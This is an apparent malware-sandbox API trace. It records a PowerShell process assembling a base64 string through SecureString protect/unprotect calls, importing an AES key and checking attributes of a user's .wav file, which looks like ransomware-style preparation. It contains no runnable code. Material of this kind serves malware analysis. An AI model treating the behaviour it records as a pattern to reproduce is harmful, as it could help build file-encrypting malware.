Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0243.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0243.565] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.565] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0243.565] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0243.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0243.565] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.566] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0243.566] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0243.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0243.566] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.566] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0243.566] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0243.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0243.566] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.566] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0243.566] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.567] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.567] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.567] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0243.567] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.567] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0243.567] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.567] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0243.567] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0243.567] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.568] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0243.568] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.568] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0243.568] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0243.568] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.568] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0243.568] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.568] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0243.568] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0243.568] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.568] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0243.568] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0243.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0243.569] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.569] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0243.569] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0243.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0243.569] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.569] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0243.569] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0243.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0243.569] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.570] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0243.570] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.570] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0243.570] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0243.570] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.570] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0243.570] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.570] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.570] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.570] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0243.571] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.571] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0243.571] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0243.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0243.571] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.571] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0243.571] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0243.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0243.572] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.572] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0243.572] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0243.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0243.572] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.572] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0243.572] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0243.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0243.572] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.572] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0243.572] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0243.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0243.573] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.573] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0243.573] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0243.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0243.573] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.573] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0243.573] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0243.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0243.573] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.574] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0243.574] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0243.574] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.574] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0243.575] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0243.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0243.575] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.575] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0243.575] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0243.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0243.575] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.575] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0243.575] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0243.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0243.576] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.576] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0243.576] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0243.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0243.576] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.576] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0243.576] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0243.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0243.576] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.577] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0243.577] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0243.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0243.577] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.577] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0243.577] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0243.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0243.577] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.578] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0243.578] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0243.579] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0243.579] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0243.579] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0243.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0243.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0243.579] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0243.579] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0243.579] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0243.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0243.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0243.580] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0243.580] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0243.580] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0243.580] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0243.580] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0243.580] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0243.580] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0243.580] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0243.580] EtwEventActivityIdControl () returned 0x0 [0243.581] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0243.581] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0243.581] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0243.581] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0243.583] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x373f80) returned 1 [0243.647] CryptImportKey (in: hProv=0x373f80, pbData=0x2408b04*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c694c0) returned 1 [0243.647] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.647] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.648] EtwEventActivityIdControl () returned 0x0 [0243.648] EtwEventActivityIdControl () returned 0x0 [0243.648] EtwEventActivityIdControl () returned 0x0 [0243.654] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav")) returned 0x20 [0243.655] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\jW54Ba8xSbY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\jw54ba8xsby.wav")) returned 0x20 [0243.655] 